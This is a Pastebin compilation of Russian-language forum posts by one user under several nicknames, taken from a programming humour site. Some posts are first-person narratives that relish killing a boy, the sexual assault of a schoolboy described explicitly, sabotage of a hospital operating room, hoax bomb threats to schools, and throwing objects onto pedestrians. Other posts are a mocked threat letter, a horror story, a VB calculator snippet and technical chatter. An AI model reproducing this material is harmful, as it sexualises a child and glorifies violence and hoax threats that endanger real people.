Guest User

stertor.texts by ru.length

a guest
Mar 15th, 2018
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 492.89 KB | None | 0 0
  1. Users requested: /voodoodal16|stertor|void_main/i
  2. Users found: Stertor (5934), StertorPidor (7729), Stertor- (8593), Stertor_ (8594), void_main (14247), void_main_soset_hui (14290), voodoodal16 (21624), Dr_Stertor (21678), REVENGE_OF_STERTOR (21701), shadow_of_stertor (21707), doctor_stertor (21971), Fajka_Stertora (25270).
  3.  
  4. ########## doctor_stertor: post http://govnokod.ru/23050 ##########
  5. В маленький курортный город П. пришло лето. Пора отдыха и туризма, когда открыты двери здравниц летних лагерей.
  6. Городок утопал в зелени, предлагая туристам множество маршрутов для прогулок.
  7. Посреди города находилась турбаза, за ней - каштановая аллея в пару километров, на окраине разлилось Белое озеро.
  8. Со всех концов страны стекались школьники в местный лагерь, чтобы с пользой отдохнуть и поправить здоровье.
  9. Наступили летние каникулы и лагерь вновь открыл свои двери для туристов. В чистом синем небе плыли облака. Купаясь в солнечных лучах, щебетали пташки.
  10. Всё было так, как обычно, но не было слышно привычного смеха детворы и берег Белого озера, столь любимого был пуст и безмолвен.
  11. Никто не отправил своих детей этим летом в - на то была причина: в городе объявился маньяк. Один за другим стали пропадать подростки; причина этого долго оставалась неясной.
  12. Первым не вернулся Алеша Зуев, потом пропал семиклассник Сергей Антипов, затем, через неделю - Петя Смирнов.
  13. Родственники и милиция сбились с ног, прочесывая лес, но ни самих пропавших ни их тела так и не обнаружили. Дети пропали без вести.
  14.  
  15. ***
  16. ...Из окон квартиры на втором этаже раздавались звуки "Баркаролы" Чайковского.
  17. На кресле перед телевизором, чуть развалясь, расположился бойкого вида мальчишка лет четырнадцати, в серых штанах, белой, чуть потёртой майке и с копной черных волос на голове.
  18. Рядом, на кровати, застланной пледом, расположился юноша лет двадцати, в рубашке и в джинсах. Оба молча внимали.
  19. Музыка звучала так чарующе и проникновенно, словно отражала тему невозвратности бытия.
  20. -Прекрасная музыка, правда? Тема невозвратности бытия.
  21. -Ага...
  22. Почувствовав явную неискренность в тоне своего младшего друга, юноша достал откуда-то препарат - заспиртованного кузнечика - и протянул его мальчику.
  23. -Вот это да!..-Мальчик с восхищением вертел склянку перед лицом. -Ты сам это сделал?
  24. -Ну да. Век насекомого короток, а в таком виде он сможет храниться очень долго и увидеть его смогут многие.
  25. Музыка к этому времени кончилась, и юноша выключил телевизор.
  26. Мальчик потеряв интерес к кузнечику, небрежно положил склянку на стол.
  27. -Раст, ну пойдём на реку!.. Мальчик с мольбой смотрел на своего старшего друга.
  28. -Что ж, пойдём.
  29. Мальчик пулей выскочил в коридор...
  30. -Невозвратности бытия, - проговорил Раст, надевая кеды исписанные авторучкой. Вскоре он закончил шнуровать и вышел из квартиры.
  31.  
  32. ***
  33. Милиции стали известны приметы маньяка. С описания очевидцев, с пропавшими незадолго до их исчезновения видели молодого человека лет тридцати, в легкой курткеи в кепи.
  34. Плохого и предположить бы никто не мог. Он не вызывал опасений. Со стороны казалось, что дети идут с учителем на экскурсию. Городок был тихий...
  35. Срочно начались поиски подозреваемых, коих было раз и обчёлся. Городок был небольшой. Делом занялся пожилой следователь Николай Фролов. Проводя долгие ночи за картотекой,
  36. он терял килограмм за килограммом. Были просмотрены сотни дел, опрошены десятки очевидцев - но безрезультатно. А маньяк тем временем похитил ещё троих мальчиков...
  37. -Это кто-то из приезжих, решил Фролов.
  38.  
  39. *******
  40. Прогуливаясь по берегу, я вдруг увидел мальчишку лет тринадцати, в серо-синей майке, одиного сидевшего с удочкой. Мне понравилась его майка и я подошёл.
  41. -Ну как клёв?
  42. -Почти полдня просидел - без толку...
  43. Я присел рядом, мы стали разговаривать. Скоро мы уже были друзьями. Он легко шёл на контакт, несмотря на разницу в возрасте - это, и его одиночество на реке могло означать, что он приезжий,
  44. и не успел ещё завести друзей среди местных. -Пойдём, прогуляемся. Ведь всё равно не клюёт. Он поспешно смотал удочку и пошёл за мной.
  45. Я привел его на развалины старого очистного завода. Это было унылое, богом забытое место, поросшее многолетней травой.
  46. Людей здесь я почти никогда не видел, даже коровы сюда не забредали. Высокие тополя, высаженные по периметру, тихо шумели, подчеркивая ощущение отрешенности.
  47. В воздухе висел ощутимый запах хлорки. Я вскинул голову, и увидел уходящую ввысь ржавую водонапорную башню.
  48. -Залезем туда?
  49. -Давай!..
  50. Я кое-как вскарабкался по ржавой лестнице. Вид с верхушки открывался и впрямь чудесный. Я постоял, любуясь, вдруг мой спутник слегка толкнул меня в спину:
  51. -Эй, осторожно!.. Я повернулся, посмотрел под ноги и увидел, что люк открыт и полон воды. Я заглянул в люк.
  52. Пятью метрами ниже я смотрел на себя вверх. Небо и облака отразились в тёмной глубине... Стал накрапывать легкий дождь, дождинки падали вниз, вызвая рябь водной глади.
  53. У меня загружилась голова.
  54. Немного погодя, я дождался, когда мальчишка повернется ко мне спиной, подкрался, и обеими руками изо всех сил столкнул его в люк. Намокшая майка его сразу потемнела.
  55. Я долго смотрел, как он, отчаянно колотя руками и ногами, с рёвом погружается в тёмную глубину... Когда он скрылся целиком, я бросил ему вслед удочку.
  56. Тело нескоро найдут. Если найдут вообще...
  57.  
  58. ---------- description ----------
  59. {продолжение следует...}
  60.  
  61.  
  62. ########## Stertor: post http://govnokod.ru/13699 ##########
  63. persjempre <[email protected]>,Akka Knebekaize <[email protected]>
  64. Значит слушай внимательно, тупица, что я тебе скажу.
  65. Никакой ты не крутой пацан, ты сосунок, который нарывается на ссору с
  66. органами. В предыдущем письме ты четко сдал себя со всеми потрохами,
  67. указав двух свидетелей твоего беспредела. 30 лет работы в прокуратуре
  68. меня кое-чему научили. Я не поленился найти этого паренька,
  69. администратора того форума программистов и пообщаться с ним. Виталий
  70. оказался примилейшим человеком, и показал мне вашу с ним перепалку.
  71.  
  72. Да, я много гопоты повидал, и ты пожалуй один из немногих уникалов,
  73. который повеселил и меня и наш отдел по защите персональной
  74. информации. С тебя ржали все мои бойцы, сказали что давно такого
  75. детского сада не видели. Это же надо - упорно месить грязь под разными
  76. именами с разных каналов! Вот молодец. Мало того, что засветился как
  77. свеча в темной комнате, мне даже не потребуется делать усиленных
  78. телодвижений для вычисления твоего адреса места проживания, так еще и
  79. упорно плодишь кучу доказательств своей неправоты. Слышал такую
  80. пословицу: "Язык до Киева доведет"? Не? Поясняю - твоя клевета и
  81. оскорбления обязательно будут доведены до криминала, если будешь
  82. продолжать с таким же упорством кричать в публичных местах интернета,
  83. демонстрируя свою храбрость и безнаказанность. Как человек с
  84. многолетним опытом, наблюдавший не один десяток таких дел скажу -
  85. найдет твоя коса на каменюку, обязательно.
  86.  
  87. Значит слушай теперь, малыш, внимательно. Зовут меня Вениамин
  88. Валентинович, и работаю я прокурором. Прикинь, прокуроры тоже умеют
  89. пользоваться интернетом, и соблюдать нетикет (хотя вряд ли ты о нем
  90. слышал, твои понятия морали судя по твоему языку на нуле). Я
  91. предупредил Виталия, что если он или кто-то из них пострадает от
  92. твоего грязного рта, пусть они мне напишут, предоставив твои слова. Я
  93. постараюсь помочь честным людям наказать обидчика. Я дам ход
  94. "плавному" делу. Поверь мне выписать ордер мне ничего не стоит, и
  95. любая организация, занимающаяся связью с радостью мне поможет,
  96. предоставив журнал связи абонентов. А учитывая твой многоликий янус,
  97. следы которого остались как оказалось не только на том сайте, пробить
  98. по совпадениям твой адрес прописки легче простого.
  99.  
  100. Если ты еще не в курсе, или попросту в школе не учился поясняю:
  101. "Преступления в сфере информационных технологий включают как
  102. распространение вредоносных вирусов, взлом паролей, кражу номеров
  103. кредитных карточек и других банковских реквизитов (фишинг), так и
  104. распространение противоправной информации (клеветы, материалов
  105. порнографического характера, материалов, возбуждающих межнациональную
  106. и межрелигиозную вражду и т.п.) через Интернет, коммунальные
  107. объекты[1]."
  108. К твоему вниманию перечитывать до полного просветления слова "Клевета"
  109. и "межнациональная вражда". Сюда же относится и оскорбления по половым
  110. признакам, а они в твоих постах есть. Будь уверен при необходимости
  111. особое внимание суд уделит именно им, как показаниям зачинщика
  112. преступления, т.е. основной первопричины.
  113. Учитывая твои угрозы мы так уж и быть сошлемся на статью 273 УК. А
  114. так же ст. 130. И все они будут направленны прежде всего на тебя как
  115. на инициатора, и главного организатора беспредела.
  116.  
  117. Советую тебе сразу искать крутого адвоката, если нет желания забиться
  118. в угол и перестать терроризировать интернет. Я обязательно попрошу еще
  119. своих бойцов проверить тебя на сайте xaker.ru, где вполне можно
  120. прихватить за взломы.
  121.  
  122. В общем мой тебе добрый совет, не ломай свою жизнь, я уверен что ты
  123. еще молодой, и схлопотать срок, пусть даже условный не желаешь. Даже
  124. административные наказания не пройдут тебе даром, если ты
  125. несовершеннолетний то для твоих родителей.
  126. Кончай баловаться с огнем! Я тебя предупредил - еще раз выскажешься
  127. неадекватно в мою сторону, или Виталий (или любой другой) пожалуется
  128. на тебя, будешь иметь дело с правоохранительными органами, это я тебе
  129. обещаю.
  130.  
  131.  
  132. Ваш унылый троллинг все больше напоминает попытки запихнуть штепсель от холодильника в USB разъем. Я на такое не ведусь.
  133.  
  134. ---------- description ----------
  135. Вот какой он, суровый дядя прокурор с Программерсфорума)
  136. Реально же эта писанина принадлежит одной пизде-мордераторше с programmersforum.ru (Ice Valery)
  137.  
  138. ########## Stertor: post http://govnokod.ru/18001 ##########
  139. С недавних пор я стал испытывать странное желание пощекотать себе нервы: то перейти реку по трубе газопровода, то перебежать дорогу перед близко идущим поездом... Не так давно, мне пришла в голову восхитительная по сумасбродности идея: отправиться на выходных ночью на исследование руин заброшенного местного ликеро-водочного заводика. Хозяин разорился ещё лет десять назад, всё добро было перевезено, а то, что не успели перевезти, было растаскано. Завод представлял собой четырехэтажное здание. Днём я иногда бродил в окрестностях с друзьями. Поблизости росла груша, плоды ее были нам весьма по вкусу, а так как дерево никому не принадлежало, я часто ходил лакомиться. Здание являло собой печальное зрелище: обшарпанные стены, ржавые лестницы, пол, усеянный обломками аппаратуры и кусками бетона. Такого рода строения пользуются недоброй славой, так как зачастую являют собой притоны. Наркоманов встретить я не рисковал, поскольку часто гулял здесь с друзьями, никаких следов пребывания здесь бомжей, мы не встречали. Гораздо больше меня волновали одичавшие псы, которые вполне могли там ютиться. На всякий случай я взял с собой мелкокалиберный револьвер, который недавно забрал из смазки, и простой фонарик. Мобильный я намеренно оставил дома. Выскользнув из общежития, я прямо пошёл к заводу. Войдя внутрь и посветив прямо я убедился, что провалов на пути нет, гордо выключил фонарик, и далее пошёл на ощупь. Пройдя немного вглубь, я опять включил фонарик, отыскал лестницу, ведущую на второй эаж, и стал подниматься. Я опять выключил фонарик, и пошёл ощупью. Не так уж это и страшно... Помню, в детстве я ужасно боялся темноты, но по мере взросления этот страх улетучился... Вдруг я услышал странное пыхтение, вздохи, и поспешно ключил фонарик. Что же? У дальней стены я разглядел силуэт лежащего быка. Коровы часто забредали сюда, спасаясь от жары, но весьма странно было увидеть здесь животное в такое позднее время. Заблудиться он не мог, тут явно что-то не так... Тем временем бык, привлеченный светом фонарика, поднялся на ноги. Я подошел ближе и направил фонарь на него. Это было животное, с черной шерстью и большими рогами, глаз не было видно. Я смутно почуял опасность. Мне захотелось бежать назад со всех ног. Вдруг чудовище заревело, и оскалив клыкастую пасть, помчалось на меня. Я пал духом, опрометью бросился бежать, едва разбирая дорогу. Чудовище гналось за мной, словно Кентавр, одним махом преодолевая лестницу из двух пролётов. Споткнувшись, я выронил фонарик, он моментально закатился... Я переживал страшные минуты...
  140. Лестница местами была ржавая, поэтому мной раз я, как по мосту, шёл (точнее, переползал, рискуя сломать себе шею), по вытяжной трубе, переходя из помещения в помещение. Бык не мог меня достать и выжидал внизу, замирая подо мной. Когда я спускался с трубы, он опрометью мчался вверх. Прислонившись к одной из балок, я притих и перестал дышать, чудище на огромной скорости промчалось мимо. Когда топот стих, я ощупью прокрался на последний этаж и посмотрел вверх: из люка на крыше виднелся край луны и звездное небо. Я побежал изо всех сил. Потянувшись к вверх, я выбрался на крышу, и закрыл люк, вставив в петли кусок арматуры. Подойдя к краю, я стал осматриваться. Поблизости находилась заправочная станция, фонари ее ярко горели, освещая прилегающую территорию, я слышал голоса рабочих. Окна общежития тоже мягко светились. Надо же, совсем близко находятся люди, но никто даже представить не может, что я стою здесь, на крыше, в такой затруднительной ситуации...
  141. Сопение отвлекло меня от размышлений. Спина похолодела. Я с ужасом повернулся, и закричал от ужаса; чудовище, оскалив пасть, заревело мне в лицо...
  142. Я проснулся в холодном поту...
  143.  
  144. ---------- description ----------
  145. "Сон" из книги "Птица счастья завтрашнего дня"
  146.  
  147. ########## Stertor: comment http://govnokod.ru/18333#comment289929 ##########
  148. Убив с десяток голубей я решил потренироваться и на более крупной дичи; после нескольких удачных выстрелов я поначалу испугался, но потом вошёл во вкус и стрелял, пока не исзрасходовал весь запас пуль. Подойдя к краю крыши, у меня закружилась голова.
  149. -Вот бы что-нибудь отсюда сбросить,- сказал я вслух.
  150. -В чем проблема? Прыгай.
  151. На крыше я был не один. Я круто развернулся. За трубой сидя на портфеле курил парень лет 16. На пай-мальчика он явно не тянул. Хулиган. Возможно, даже нарик.
  152. Я сразу понял, что от такого может быть толк.
  153. Оказалось, что он видел, как я стрелял, но, как он сказал, ему "пофиг".
  154. -Нельзя же быть таким похуистом, сказал я, и принялся осматривать крышу. Скоро я нашёл огромное колесо, наверно, от Камаза. Неизвестно, зачем его притащили на крышу, но применение ему я уже придумал.
  155. -Скинем его?
  156. -Если желаешь...
  157. Я пытался поднять колесо, но это было мне явно не по силам.
  158. В конце концов мой однокрышник не вытерпел и стал помогать.
  159. -Ну, понеслась!
  160. Мы столкнули колесо вниз.
  161. Я видел, как огромная махина переворачиваясь в воздухе пулей летит вниз, как ударяется об асфальт и бешено крутясь, сбивает прохожих. Внизу постепенно стали собираться люди.
  162. Мой новый знакомец тоже молча наблюдал. Я вдруг заметил, что у него стеклянный взгляд.
  163. Счёт шёл на секунды.
  164. -Знаешь, мне пора.
  165. (жест лётчиков) Он деланно улыбнулся.
  166. -А ты?
  167. -Я призрак летящий на крыльях ночи, - и полился бред.
  168. Я понял, что в таком состоянии его нельзя оставлять. Было странно, но этот плохиш был мне небезразличен. Мы кое-как спустились, сели в лифт и благополучно поймали трамвай.
  169. На наше счастье в трамвае было мало людей, мой обсаженный друг не привлекал внимания, но был тем не менее неадекватен.
  170. Когда мы выходили из трамвая, он описался.
  171. -Аааа!!! Да что ты делаешь, еб твою мать!
  172. Бросив его на пустыре, я сбегал в вечерний маганзин, купил немного жратвы и несколько бутылок минералки. Я вылил ему на голову полбутылки и заставил выпить.
  173.  
  174.  
  175. ########## Stertor: comment http://govnokod.ru/18546#comment294728 ##########
  176. А и правда, я ли ещё это? Твой вопрос неожиданно поставил меня в тупик. Я успел сменить столько акков (и тут, и на других сайтах), был троллем, спамером - и теперь, этот вихрь, раскрутившись, унёс мою анонимность к чёрту на рога.
  177. Я не думал, что надолго здесь задержусь. Мне неожиданно понравилось да и время пролетело незаметно. Я успел наболтать очень-очень много изобличающей меня инфы. Мне страшно, Кегги. Пора сменить ник и заткнуться. Я был Стертором, без малого, 6 лет. Рунет знает меня как тролля, ламера, профессионала, консерватора, новатора и дельфиста с псевдо-гомосексуальными наклонностями. Я сильно изменился за это время, улетучилась любовь к троллингу и желание кому-либо что-либо доказывать, очевидно, я повзрослел, как того желали Тарасб и Лурик. Кстати: несомненно, у многих из Вас проскальзывала мысль о том, гей ли я в реале? Ответ: нет, не гей; эту черту своей псевдо-личности я выдумал. Стараясь влиться в образ степенного гк-юзера но в то же время боясь потерять невинность анонимность, половину публикуемой о себе инфы я разбавлял вымышленными фактами: простите меня, это было необходимо. Что ещё сказать... Не обижайтесь на мой вайп и уебанство. Должен признать, ГК сделал меня лучше, перемена особенно заметна, если сравнивать мои нынешние посты с самыми первыми) За время моего нахождения здесь я стал более выдержанным, вдумчивым, да и опыт приобрел солидный. Спасибо Борманду, Лурику, Defecate-Plusplus, Тарасу Б, Кипа, Василию, Инканусу-грэй, Lispg*vno, анонимбу - за то, что был моим оппонентом в спорах, спасибо Виндика, etho, 3,14 -у а также всем, с кем я так или иначе пересекался здесь. Вы самые классные! )) Пусть всё у Вас будет хорошо в жизни. Отдельное спасибо тебе; ты классный парень. Ава кота тебе шла больше, честно ) Пока, что ли... Я закрыл свой ресурс, при входе указано мыло, но писать на него не стоит. Не поминайте лихом, товарищи ^_~
  178.  
  179. ########## Stertor: post http://govnokod.ru/13784 ##########
  180. Отключениа автозапуска в windows 7
  181.  
  182. Stertor140 [11.09.2013 23:20] Удалить
  183.  
  184. Автозапуски отключены по умолчанию)
  185. К тому же, этот способ не затрагивает сменные носители.
  186. Shade870 [12.09.2013 09:23]
  187.  
  188. На всех носителях отключается автозапуск.
  189. Stertor140 [12.09.2013 12:45] Удалить
  190.  
  191. Какой наивный парень)
  192. Автозапуск уже отключен, по умолчанию.
  193. Нет смысла все это делать.
  194. Shade870 [12.09.2013 16:23]
  195.  
  196. Смысл есть это делать, так как вирусники попадают через автозапуск со съемного носителя.
  197. Stertor140 [12.09.2013 16:57] Удалить
  198.  
  199. Охх, какой ты упертый. Я же тебе объясняю, если ты вставишь заразную флешку, файл autorun.inf НЕ БУДЕТ обработан, система вообще его не увидит. Майкрософт отключила в семерке автозапуск для сменных устройств, так как появилось множество вирусов, использовавших эту уязвимость. Совсем другое дело, если вирус на флешке маскируется под папку. Но и тут этот способ не поможет, смешно даже. Единственный выход - антивирус.
  200. Stertor140 [12.09.2013 17:02] Удалить
  201.  
  202. Вам тут всем ЧСВ надо снижать, причем для вашей же пользы:админ ваш уже это понял, теперь очередь за участниками. Чем выставлять себя идиотом, мысля и рассуждая ошибочно, лучше спросить мнения умных людей; но вам никто не будет помогать, если вы не приземлитесь,так и будете до старости пребывать в невежестве...
  203. alex13sh230 [12.09.2013 18:09]
  204.  
  205. ты типо самый умный? чё ты споришь с опытным человеком работающий компьютерщиком ? ты тут не кого незнаешь, ты изгой, пшёл вон от сюда!
  206. Shade870 [12.09.2013 18:11]
  207.  
  208. Stertor, ты самое настоящий лох, а не умник. Таких как ты надо расстреливать, знаток херов. Иди учись.
  209. Shade870 [12.09.2013 18:13]
  210.  
  211. Охх, какой ты упертый. Я же тебе объясняю, если ты вставишь заразную флешку, файл autorun.inf НЕ БУДЕТ обработан, система вообще его не увидит. Майкрософт отключила в семерке автозапуск для сменных устройств, так как появилось множество вирусов, использовавших эту уязвимость.
  212.  
  213. Ты придурок, как это так не будет обрабатывать и кто ее отключал?? Кусок недоучки. Аж бесят такие шкеты.
  214.  
  215. ---------- description ----------
  216. http://vbbook.ru/windows/otkluchenie-avtozapuska-windows/
  217. Практика показывает, что настоящее школоло плохо поддается перевоспитанию.
  218.  
  219. ########## Stertor: comment http://govnokod.ru/18333#comment289847 ##########
  220. Мне не живётся с людьми, так, что просто тошно. Нужно что-то менять в этой жизни, перестать быть затравленным зверьком и заявить о себе. Если люди настолько плохо относятся ко мне, нужно нанести ответный удар, показать каково это со стороны.
  221. Я остался верен себе, своим чувствам, ценностям. Контролировать себя всё сложнее, болезнь моя зашла слишком далеко.
  222.  
  223. Весь день делал только плохое. Разбил окно из заранее припасённой рогатки, не уступал место в маршрутках. Зайдя в подъезд многоэтажки дождался, когда появится школьник-второсменник, отнял у него телефон, выбросил его учебники в мусоропровод, потом затащил в подвал и насильно отсосал ему. Со страху он не столько накончал, сколько написал мне в рот, но это уже не Ваше дело. Телефон я потом выбросил(ненавижу сенсоры). На следующий день я купил пачку швейных игл, расплатившись фальшивой купюрой, и поехал в больницу. Я тихонько прокрался к двери оперблока, на ходу доставая иглы из упаковки, натолкал игл в замок и обломил концы. В руках у меня остались обломки - я понял, что это жизни тех, кто не успеет на операцию. Мне стало грустно, я вышел из здания и поплёлся в парк, где поймал трамвай, на котором прокатался до полудня. Я вышел на парковочной станции, так как мое внимание привлекли машины. Томимые жарой механики распивали пиво поотдаль, им явно было не до работы. Оглядевшись, я сразу принялся колоть колёса, получая от этого поистине чудовищное наслаждение. Дверь одного из салонов оказалась незаперта - моим трофеем стала женская сумочка. Порывшись я обнаружил немного мелочи, наиболее существенными из которой оказалиь связка ключей с перочинным ножом в качестве брелка, губная помада и пудреница.
  224.  
  225. ########## doctor_stertor: post http://govnokod.ru/23300 ##########
  226. Сказка старого купажника
  227.  
  228. ---------- description ----------
  229. В небольшой осетинский поселок Х. пришла осень.
  230. В дальнем углу двора дома Кумаритовых, под краем навеса, неторопливо мешает деревянной ложкой старый "бодяжник" дядя Ладо (Володя).
  231. Вокруг сидят ребятишки. По двору снуют взрослые.
  232. Мерно булькает жидкость в чане, припекает солнце, монотонно звенит стекло-так и хочется закрыть глаза и помечтать...
  233. Опытный человек услыхавший бы из-за ворот гул и бутылочный перезвон сразу понял бы: здесь происходит подпольный бизнес - так оно и было.
  234. Кустарную водку изготавливали все, кто не гнушался теневых заработков, а таких людей было немало.
  235. Цех находился и во дворе Фиры Кумаритовой. С ее сынишкой мы были приятелями и часто катались на машине, когда Фира разъезжала по своим предпринимательским делам.
  236. Водка рекою текла в столицу. О том, хорошо это или плохо, я тогда не задумывался.
  237. Помню только, как сильна была моя радость, когда из очередного рейса отец привез мне игрушечный пистолет - неслыханная в наших краях вещь, предмет страстных ребячьих мечтаний и гордости. Сколько я перебил им елочных игрушек!..
  238. Взрослые были заняты работой - им было не до нас, и мы сами придумывали себе развлечения.
  239. Частенько мы попадали под горячую руку(Куда ты так бежишь, мать твою за ногу?!), но выцветшие голубые глаза Ладо светились добротой.
  240. Это был приветливый человек; он никогда не кричал на нас, наоборот, казалось, он был нам даже рад. Предки его были родом из Грузии.
  241. Видно, жалея и желая нас занять, старик часто рассказывал сказки. Одну из таких сказок я запомнил и теперь перескажу Вам.
  242. Мудрость не пропадёт из этого мира, пока на свете есть сказки.
  243.  
  244.  
  245. <продолжение следует>
  246.  
  247. ########## Stertor: comment http://govnokod.ru/18333#comment289928 ##########
  248. Настало утро. Я спустил ноги с кровати и сладко потянулся.
  249. Наскоро позавтракав и одевшись, я выскочил из квартиры, обдумывая план действий.
  250. Спускаясь по лестнице, мне сверкнул глазок соседской двери.
  251. Настроение сразу испортилось. Развели тут, понимаешь, сексотство - моему негодованию не было предела. Чиркнув спичкой я раскурил сигарету, потом подкрался к двери, вплотную приблизил огонек сигареты к пластмассовому глазку и сделал несколько затяжек, затем затушил сигарету о глазок.
  252. Выйдя из подъезда, я свернул за угол к телефону-автомату.
  253. Сверившись со справочником, я обзвонил несколько школ, каждый раз официальным голосом сообщая о якобы готовящемся покушении, о заложенной бобме, о химической атаке. Не вешая трубку, я быстро ушёл дворами, решив опять устроить набег на супермаркет.
  254. Накупив в аптеке всевозможных лекарств, я разбросал их на детской площадке; теперь у ребятишек будет достойный реквизит для игры "в доктора". На ум пришёл заголовок в бульварной газете "Игра в доктора закончилась промыванием желудка" - я горько усмехнулся. Трамвай привёз меня на водную станцию. Портфель за спиной мешал мне, но снимать его мне было лень. Примостившись на одной из лавочек, я стал думать, что делать дальше, пока не вспомнил, что придаёт тяжести моему портфелю: пневматический ппистолет. Ноги сами понесли меня на к этажке. Представившись разносчиком пиццы, я беспрепятственно проник в подъезд а затем и на крышу (люк даже не был заперт).
  255.  
  256. ########## Stertor: post http://govnokod.ru/14089 ##########
  257. Dim zn(10) As String, txt As String ' объявляем переменные zn для хранение знаков
  258. Private Sub Command1_Click()
  259. Dim raz As Byte ' эта переменная для того что бы происходили действие сначало * / а потом + -
  260. raz = 0
  261. For i = 1 To Len(Text1) Step 1 ' читаем текст
  262. DoEvents
  263. If Mid(Text1, i, 1) = " " Then 'ищем пробелы
  264. Text1.SetFocus: Text1.SelStart = i - 1: Text1.SelLength = 1: Text1.SelText = "" ' если есть то убираем
  265. End If
  266. Next i
  267. Text1 = "(" & Text1 & ")" ' ставим в скобки они мне нужны
  268. txt = "" ' чистим переменную
  269. For i = 1 To Len(Text1) Step 1 'читаем текст
  270. For zn1 = 1 To 6 Step 1 ' перечисляем знаки
  271. If Mid(Text1, i, 1) = zn(zn1) Then txt = txt & " " & zn(zn1) & " ": GoTo qw ' если есть то ставим пробелы возле знаков
  272. Next zn1
  273. txt = txt & Mid(Text1, i, 1) ' если нету то просто записывает символ
  274. qw:
  275. Next i
  276. Text1 = txt ' записываем в text переменную txt
  277. razz:
  278. zad:
  279. For i = 1 To Len(Text1) Step 1 ' читаем текст
  280. DoEvents ' чтобы не зацикливался
  281. If raz = 0 Then 'если первый раз проходит
  282. If Mid(Text1, i, 1) = zn(1) Then Call mn(i, "*"): GoTo zad ' то делаем действие *
  283. If Mid(Text1, i, 1) = zn(2) Then Call mn(i, "/"): GoTo zad ' и /
  284. Else ' иначе
  285. If Mid(Text1, i, 1) = zn(3) Then Call mn(i, "+"): GoTo zad 'делаем действие +
  286. If Mid(Text1, i, 1) = zn(4) Then Call mn(i, "-"): GoTo zad ' и -
  287. End If
  288. Next i
  289. If raz = 0 Then raz = 1: GoTo razz ' если первый раз то делаем второй круг
  290. Text1 = Mid(Text1, 4, Len(Text1) - 6) ' убираем скобки
  291. End Sub
  292. Function mn(ByVal i1 As Integer, znak As String) ' что бы воспользоваться функцией надо указать позицию в тексте и у казать знак действие например mn(3,"*")
  293. Dim ss1 As Double, ss2 As Double, sn As Integer, sk As Integer ' записываем переменные ss1 число перед знаком, sn её позиция то есть начало ,ss2 второе число после знака , sk позиция второго числа то есть конец
  294. ss1 = 0: ss2 = 0 ' онулируем переменные чисел
  295. For s1 = i1 - 1 To 1 Step -1 ' читаем текст от знака до начало
  296. For zn1 = 1 To 6 Step 1 'ищем знаки( * / + - ( ) )
  297. If Mid(Text1, s1, 1) = zn(zn1) Then ' сравниваем знаки с символом
  298. 'если символ это один из знаков то
  299. sn = s1 ' записываем позицию
  300. If Mid(Text1, s1, 1) = "(" Then s1 = s1 + 1 ' тут была ошибка когда была скобка я её избежал
  301. ss1 = Val(Mid(Text1, s1, i1 - s1)) ' записываем число в переменную
  302. GoTo выход1 ' выходим из цикла (я не использую exit for потому что тут не один цик )
  303. End If
  304. Next zn1
  305. Next s1
  306. выход1:
  307. For s2 = i1 + 1 To Len(Text1) Step 1 'тут анологично только ищет и записывает второе число после знака
  308. For zn1 = 1 To 6 Step 1
  309. If Mid(Text1, s2, 1) = zn(zn1) Then
  310. ss2 = Val(Mid(Text1, i1 + 1, s2 - i1))
  311. sk = s2
  312. GoTo выход2
  313. End If
  314. Next zn1
  315. Next s2
  316. выход2:
  317. Text1.SetFocus: Text1.SelStart = sn + 1: Text1.SelLength = sk - sn - 3 ' выделяем число перед знаком знак и число после знака
  318. Select Case znak
  319. Case "*": Text1.SelText = ss1 * ss2: Case "/": Text1.SelText = ss1 / ss2: Case "+": Text1.SelText = ss1 + ss2: Case "-": Text1.SelText = ss1 - ss2 ' делаем действие между двумя числами от зависимости знака и записываем в это выделенное место число
  320. End Select
  321. i = i1
  322. End Function
  323.  
  324. Private Sub Form_Load()
  325. zn(1) = "*": zn(2) = "/": zn(3) = "+": zn(4) = "-": zn(5) = "(": zn(6) = ")" 'записываем в переменную знаки переменная с индексом"
  326. End Sub
  327.  
  328. ---------- description ----------
  329. Исходник программы для пространственно-временного искажения.
  330. В действии
  331. http://www.demotivationalinc.com/files/photo/1/devide-by-zero-congratulations-your-math-just-destroyed-a-city-demotivational-poster-640.jpg
  332.  
  333. ########## Stertor: comment http://govnokod.ru/13763#comment196284 ##########
  334. Один только кашпер чего стоит. Многие вирмейкеры, троянописцы и прочий маргинальный сброд выбирают его, закрывая глаза на то, что разработчик оного - бывший кгб-шник. Потом выпучив глазища, долго удивляются, почему их новенький вирь - только что из под компилятора - уже палится. А это он, сукин сын, уже отправил образец к себе в офис. NOD32 вообще жопа. Эвристика полностью слизана у кава: одни и те же замашки, глюки и просчеты. Возможно, это произошло после инцидента в 2008, когда исходники антивируса касперского утекли в сеть. Расскажу небольшую историйку, когда я еще учился. Захожу я на кафедру и вижу, что комп странно себя ведет. После недолгих манипуляций выяснилось, что нод32 с просроченными базами (на календаре 2010 год, базы 2009) мирно соседствуетс с 5 червями, которые буквально вели борьбу за существование, по 1001 раз переписывая созданный на флешке autorun.inf. По моему совету поставили аваст с такими же базами и просканировали комп до загрузки. Аваст обнаружил около 300 инфицированных файлов - 4-5 в system32, более 100 в application data, обозначая их как win32:malware-gen. Это значит, вредоносная программа отсутствует в базах, и вывод сделан на основании эвристического анализа. Через пару недель провели интернет, аваст обновился и долечил комп. Вот такая история, гасспода. В другой раз кашпер упорно отказывался видеть червя на автоите. Червь грузил библиотечку к процессам и становился невидим в менеджере задач. Аваст со старыми базами даже открыть не дал флешку.
  335.  
  336. ########## Stertor: comment http://govnokod.ru/15989#comment290070 ##########
  337. >> И там будет в лучшем случае копия urllib? Посимпотичней ничего нет?
  338.  
  339. Ну я же дал ссылку) Там всё сделано совершенно в идеологии asyncio. Пишешь корутину, пихаешь её на евентлуп и наслаждаешься.
  340.  
  341. >>Потоками проще писать
  342. Ну если не нужно синхронизировать их между собой то да, а если нужно? Придется половину кода делать потокобезопасным, критические секции всякие выделять, следить чтоб переменная в кеше не застряла, ловить потом хейзенбаги которые раз в 500 лет случаются.
  343.  
  344. А дебажить знаешь как это приятно?
  345.  
  346. И кстати не факт что это будет быстрее с таким количеством синхронизации.
  347.  
  348. >> нормальные языки без проблем держат до 1000 потоков
  349. Если речь идет о настоящих потоках (про которые знает ОС, а не про всякие легкие, зеленые итд) то щедулер операционки может и охуеть от переключения контекста. Да и каждый поток все таки тянет за собой структуры в памяти ядра, а она тоже не резиновая.
  350.  
  351. >> языки с gil не в счет, там уже на 60 просадка раза в 2
